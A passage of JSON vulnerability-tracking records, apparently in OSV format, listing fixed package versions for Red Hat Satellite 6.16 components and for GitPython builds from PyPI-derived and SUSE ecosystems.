Hat:satellite_capsule:6.16::el8","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-dynflow-sidekiq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-ec2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-journald","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-libvirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-openstack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-ovirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-postgresql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"foreman-vmware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-debug","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-dynflow-sidekiq","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-ec2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-journald","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-libvirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-openstack","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-ovirt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-pcp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-postgresql","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-service","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-telemetry","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"foreman-vmware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0-2.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-hammer_cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.12.0-2.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-dynaconf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.2.13-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"yggdrasil-worker-forwarder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.0-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"yggdrasil-worker-forwarder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.1.0-2.1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"satellite-capsule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el8","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el8","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el8pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.23-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"rubygem-safemode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.0-2.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el8","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el8sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"satellite-capsule","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_capsule:6.16::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite_utils:6.16::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-lxml-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-gitpython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.1.62-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-lxml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-lxml-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.9.2-5.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-pulpcore","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:3.49.39-4.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"python3.11-sqlparse","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:0.6.0-1.el9pc"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-katello","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.14.0.23-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"rubygem-safemode","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.5.0-2.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"satellite","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"satellite-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Red Hat:satellite:6.16::el9","package":"satellite-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.16.14-1.el9sat"}]}],"bundled":31},{"source":"osv","ecosystem":"Root:PyPI","package":"GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.46+aikido.5"},{"fixed":"3.1.46+aikido.12"},{"fixed":"3.1.46+aikido.11"},{"fixed":"3.1.46+aikido.13"},{"fixed":"3.1.46+aikido.6"},{"fixed":"3.1.46+aikido.7"},{"fixed":"3.1.46+aikido.8"},{"fixed":"3.1.46+aikido.9"},{"fixed":"3.1.46+aikido.10"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.47+aikido.8"},{"fixed":"3.1.46+aikido.5"},{"fixed":"3.1.49+aikido.2"},{"fixed":"3.1.47+aikido.9"},{"fixed":"3.1.46+aikido.12"},{"fixed":"3.1.47+aikido.1"},{"fixed":"3.1.46+aikido.11"},{"fixed":"3.1.46+aikido.13"},{"fixed":"3.1.47+aikido.2"},{"fixed":"3.1.47+aikido.3"},{"fixed":"3.1.46+aikido.6"},{"fixed":"3.1.49+aikido.3"},{"fixed":"3.1.46+aikido.7"},{"fixed":"3.1.47+aikido.4"},{"fixed":"3.1.49+aikido.4"},{"fixed":"3.1.47+aikido.5"},{"fixed":"3.1.46+aikido.8"},{"fixed":"3.1.47+aikido.6"},{"fixed":"3.1.46+aikido.9"},{"fixed":"3.1.47+aikido.7"},{"fixed":"3.1.46+aikido.10"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Python 3 15 SP7","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"python-GitPython","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.34.1693646983.2a2ae77-150400.9.8.1"}]}],"bundled":27},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 